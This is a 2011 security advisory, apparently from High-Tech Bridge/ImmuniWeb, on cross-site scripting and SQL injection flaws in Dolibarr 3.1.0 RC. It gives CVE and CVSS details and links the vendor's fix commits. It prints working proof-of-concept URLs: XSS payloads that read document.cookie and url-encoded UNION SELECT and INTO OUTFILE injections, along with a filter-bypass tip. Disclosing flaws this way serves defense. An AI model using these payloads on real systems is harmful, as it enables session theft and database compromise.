Total Tests:

Multiple vulnerabilities in Dolibarr

Advisory ID:HTB23056
Product:Dolibarr
Vendor:Dolibarr foundation
Vulnerable Versions:3.1.0 RC and probably prior
Tested Version:3.1.0 RC
Advisory Publication:November 2, 2011 [without technical details]
Vendor Notification:November 2, 2011
Public Disclosure:November 23, 2011
Latest Update:November 18, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
CVE References:CVE-2011-4802
CVE-2011-4814
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Dolibarr, which can be exploited to perform cross-site scripting & sql injection attacks.

1) Cross-Site scripting vulnerability in Dolibarr: CVE-2011-4814
1.1 Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site
The following PoC code is available:
http://[host]/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28do cument.cookie%29%3E
http://[host]/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:aler t%28document.cookie%29%3E
http://[host]/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:ale rt%28document.cookie%29%3E
http://[host]/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:a lert%28document.cookie%29%3E
Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")
1.2 Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site
The following PoC code is available:
http://[host]/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascr ipt:alert%28document.cookie%29%3E
http://[host]/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascr ipt:alert%28document.cookie%29%3E

2) SQL injection vulnerability in Dolibarr: CVE-2011-4802
2.1 Input passed via the "sortfield", "sortorder" and "sall" GET parameters to /user/index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/user/index.php?sall=1%%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65% 63%74%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14%20--%20
http://[host]/user/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HE RE
http://[host]/user/index.php?begin=search_user=&sall=&sortfield=u.login&sort order=SQL_CODE_HERE
Successful exploitation of this vulnerabilities requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.
2.2 Input passed via the "id" GET parameter to /user/info.php, /user/perms.php, /user/param_ihm.php, /user/note.php, /user/fiche.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/user/info.php?id=1 INTO OUTFILE '../../../tmp/example'
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.
2.3 Input passed via the "rowid" GET parameter to /admin/boxes.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/admin/boxes.php?action=delete&rowid=SQL_CODE_HERE
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.
2.4 Input passed via the "sortfield" & "sortorder" & "sall" GET parameters to /user/group/index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/user/group/index.php?begin=search_user=&sall=&&sortfield=SQL_C ODE_HERE
http://[host]/user/group/index.php?begin=search_user=&sall=&sortfield=u.logi n&sortorder=SQL_CODE_HERE
http://[host]/user/group/index.php?sall=SQL_CODE_HERE
Successful exploitation of this vulnerabilities requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Several patches were added into 3.1 and into develop branch:
https://github.com/Dolibarr/dolibarr/commit/d08d28c0cda1f762a47cc205d4363de03df16675
https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e3544a4207e78a1
https://github.com/Dolibarr/dolibarr/commit/c539155d6ac2f5b6ea75b87a16f298c0090e535a
https://github.com/Dolibarr/dolibarr/commit/63820ab37537fdff842539425b2bf2881f0d8e91


References:
[1] High-Tech Bridge Advisory HTB23056 - https://www.immuniweb.com/advisory/HTB23056 - Multiple vulnerabilities in Dolibarr
[2] Dolibarr - dolibarr.org - Dolibarr ERP & CRM is a modern and easy to use web software to manage your business.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential